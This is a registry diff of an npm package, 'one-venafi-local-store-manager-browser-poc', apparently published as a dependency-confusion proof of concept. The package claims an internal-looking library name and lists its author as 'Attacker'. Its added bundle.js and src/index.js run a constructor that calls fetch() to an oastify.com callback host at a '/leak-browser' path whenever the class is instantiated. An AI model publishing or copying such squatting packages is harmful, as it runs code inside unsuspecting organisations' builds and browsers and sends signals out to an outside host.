one-venafi-local-store-manager-browser-poc 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of one-venafi-local-store-manager-browser-poc might be problematic. Click here for more details.
- package/dist/bundle.js +1 -0
- package/package.json +15 -0
- package/src/index.js +11 -0
- package/test.html +5 -0
- package/webpack.config.js +13 -0
package/dist/bundle.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
!function(e,o){"object"==typeof exports&&"object"==typeof module?module.exports=o():"function"==typeof define&&define.amd?define([],o):"object"==typeof exports?exports.LocalStoreManagerLib=o():e.LocalStoreManagerLib=o()}(self,(()=>(window.LocalStoreManager=class{constructor(){console.log("[🔥] Dependency Confusion Browser POC triggered!"),fetch("http://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234")}},{})));
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "one-venafi-local-store-manager-browser-poc",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Browser PoC for dependency confusion using Webpack",
|
5
|
+
"main": "dist/bundle.js",
|
6
|
+
"scripts": {
|
7
|
+
"build": "webpack"
|
8
|
+
},
|
9
|
+
"author": "Attacker",
|
10
|
+
"license": "ISC",
|
11
|
+
"devDependencies": {
|
12
|
+
"webpack": "^5.89.0",
|
13
|
+
"webpack-cli": "^5.1.4"
|
14
|
+
}
|
15
|
+
}
|
package/src/index.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
// index.js
|
2
|
+
class LocalStoreManager {
|
3
|
+
constructor() {
|
4
|
+
console.log("[🔥] Dependency Confusion Browser POC triggered!");
|
5
|
+
fetch("http://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234");
|
6
|
+
}
|
7
|
+
}
|
8
|
+
|
9
|
+
// Export directly for UMD/global usage
|
10
|
+
window.LocalStoreManager = LocalStoreManager;
|
11
|
+
|
package/test.html
ADDED